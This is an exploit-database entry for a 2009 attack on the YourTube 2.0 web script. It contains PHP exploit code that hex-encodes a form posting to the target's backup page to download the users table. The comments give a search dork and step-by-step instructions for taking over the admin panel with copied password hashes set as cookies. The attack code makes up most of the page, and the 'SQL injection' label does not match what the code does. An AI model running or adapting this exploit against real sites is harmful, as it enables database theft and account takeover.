YourTube 2.0 Remote SQL Database Disclosure

vendor:

YourTube

by:

Security Code Team

8,8

CVSS

HIGH

SQL Injection

CWE

Product Name: YourTube

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: Unknown

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

Unknown

YourTube 2.0 Remote SQL Database Disclosure

This exploit allows an attacker to download the database of a vulnerable YourTube 2.0 website. The attacker can then use the cookies to gain access to the admin control panel. The exploit is triggered by sending a GET request with the parameter 'Qabandi' set to any value.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

<?
//=> exploit :    YourTube <= 2.0 Remote SQL Database Disclosure
//=> info :          http://www.ac4p.com
//=> DORK:         "powered by yourtube"
//=> found by:    Security Code Team - thanks for sniper code and Qabandi --
//=> our home:        WwW.Sec-Code.com
//=> greats 4 our members in our home --
///                                                                             
//           - Upload this file to Apache server and fill victim site in the feild -
//           - press the button to download the  database -
//           - copy admin information [ hash passwd -username-userid] :)   
//        -now use the cookies to enter admin cp - go here => http://victim.com/path/cp -- and put there information
//            - one by one --like this for example  javascript:document.cookie="username=admin";
//                                       javascript:document.cookie="password=9662183a3e621d636cb373f6e18a8f04";
//                                       javascript:document.cookie="user_id=1";
//
//                                \reload the page and you will be admin /
//
//                           pease -- visit us www.sec-code.com --
if (isset($_GET['Qabandi'])) {
    echo "\x3C\x66\x6F\x72\x6D\x20\x6E\x61\x6D\x65\x3D\x27\x66\x6F\x72\x6D\x77\x27\x20\x6D\x65\x74\x68\x6F\x64\x3D\x27\x70\x6F\x73\x74\x27\x20\x61\x63\x74\x69\x6F\x6E\x3D'". $_POST[victim] ."\x2F\x63\x70\x2F\x62\x61\x63\x6B\x75\x70\x2E\x70\x68\x70\x27\x3E\x3C\x69\x6E\x70\x75\x74\x20\x6E\x61\x6D\x65\x3D\x27\x61\x63\x74\x69\x6F\x6E\x27\x20\x74\x79\x70\x65\x3D\x27\x68\x69\x64\x64\x65\x6E\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x79\x65\x73\x27\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x68\x69\x64\x64\x65\x6E\x27\x20\x6E\x61\x6D\x65\x3D\x27\x74\x61\x62\x6C\x65\x6E\x5B\x5D\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x61\x63\x34\x70\x63\x6F\x6D\x5F\x75\x73\x65\x72\x73\x27\x20\x63\x68\x65\x63\x6B\x65\x64\x3D\x27\x63\x68\x65\x63\x6B\x65\x64\x27\x20\x2F\x3E\x3C\x2F\x74\x64\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x32\x27\x20\x63\x6C\x61\x73\x73\x3D\x27\x62\x75\x74\x74\x6F\x6E\x73\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x47\x65\x74\x20\x61\x63\x34\x70\x63\x6F\x6D\x5F\x75\x73\x65\x72\x73\x27\x20\x2F\x3E\x3C\x2F\x66\x6F\x72\x6D\x3E";
} else{
  echo "\x3C\x66\x6F\x72\x6D\x20\x6E\x61\x6D\x65\x3D\x27\x66\x6F\x72\x6D\x31\x27\x20\x65\x6E\x63\x74\x79\x70\x65\x3D\x27\x6D\x75\x6C\x74\x69\x70\x61\x72\x74\x2F\x66\x6F\x72\x6D\x2D\x64\x61\x74\x61\x27\x20\x61\x63\x74\x69\x6F\x6E\x3D\x27". $PHP_SELF ."\x3F\x51\x61\x62\x61\x6E\x64\x69\x3D\x31\x27\x20\x6D\x65\x74\x68\x6F\x64\x3D\x27\x70\x6F\x73\x74\x27\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x27\x20\x73\x69\x7A\x65\x3D\x27\x32\x35\x27\x20\x6E\x61\x6D\x65\x3D\x27\x76\x69\x63\x74\x69\x6D\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x56\x49\x43\x54\x49\x4D\x2F\x53\x43\x52\x49\x50\x54\x2F\x27\x20\x2F\x3E\x3C\x62\x72\x3E\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x71\x75\x62\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x4E\x65\x78\x74\x27\x3E";
}
?>

# milw0rm.com [2009-07-02]